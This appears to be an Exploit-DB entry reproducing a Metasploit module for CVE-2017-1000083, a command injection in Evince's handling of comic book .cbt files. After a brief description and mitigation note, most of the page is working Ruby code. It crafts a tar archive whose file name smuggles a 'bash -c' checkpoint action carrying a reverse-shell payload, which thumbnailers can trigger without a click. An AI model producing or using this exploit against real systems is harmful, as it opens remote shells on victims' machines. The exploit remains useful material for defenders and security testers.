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Evince
by:
Felix Wilhelm, Sebastian Krahmer, Matlink, bcoles

Evince CBT File Command Injection

This module exploits a command injection vulnerability in Evince before version 3.24.1 when opening comic book .cbt files. Some file manager software, such as Nautilus and Atril, may allow automatic exploitation without user interaction due to thumbnailer preview functionality. Note that limited space is available for the payload (<256 bytes). Reverse Bash and Reverse Netcat payloads should be sufficiently small. This module has been tested successfully on evince versions: 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6; 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.

Mitigation:

Update to version 3.24.1 or later. Disable thumbnailer preview functionality in file manager software.
Source

Exploit-DB raw data:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Evince CBT File Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in Evince
        before version 3.24.1 when opening comic book `.cbt` files.

        Some file manager software, such as Nautilus and Atril, may allow
        automatic exploitation without user interaction due to thumbnailer
        preview functionality.

        Note that limited space is available for the payload (<256 bytes).
        Reverse Bash and Reverse Netcat payloads should be sufficiently small.

        This module has been tested successfully on evince versions:

        3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;
        3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Felix Wilhelm',     # Discovery
          'Sebastian Krahmer', # PoC
          'Matlink',           # Exploit
          'bcoles'             # Metasploit
        ],
      'References'     =>
        [
          ['BID', '99597'],
          ['CVE', '2017-1000083'],
          ['EDB', '45824'],
          ['URL', 'https://seclists.org/oss-sec/2017/q3/128'],
          ['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'],
          ['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'],
          ['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'],
          ['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'],
          ['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'],
          ['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083']
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 215,
          'BadChars'    => "\x00\x0a\x0d\x22",
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'PAYLOAD' => 'cmd/unix/reverse_bash',
          'DisablePayloadHandler' => true
        },
      'Targets'        => [[ 'Automatic', {}]],
      'Privileged'     => false,
      'DisclosureDate' => '2017-07-13',
      'DefaultTarget'  => 0))
    register_options([
      OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt'])
    ])
  end

  def exploit
    ext = %w[png jpg gif]
    path = " --checkpoint-action=exec=bash -c \"#{payload.encoded};\".#{ext.sample}"

    # Tar archive max path length is 256.
    if path.length > 256
      fail_with Failure::PayloadFailed, "Payload is too large (#{path.length}): Max path length is 256 characters"
    end

    # Tar archive max file name length is 100.
    path.split('/').each do |fname|
      if fname.length > 100
        fail_with Failure::PayloadFailed, "File name too long (#{fname.length}): Max filename length is 100 characters"
      end
    end

    # Create malicious tar archive
    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file path, 0644 do |io|
        io.write ''
      end
      # Pad file to 1+ MB to trigger tar checkpoint action
      tar.add_file rand_text_alphanumeric(10..20), 0644 do |io|
        io.write rand_text(1_000_000..1_100_000)
      end
    end
    tarfile.rewind
    cbt = tarfile.read

    print_status "Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ..."
    file_create cbt
  end
end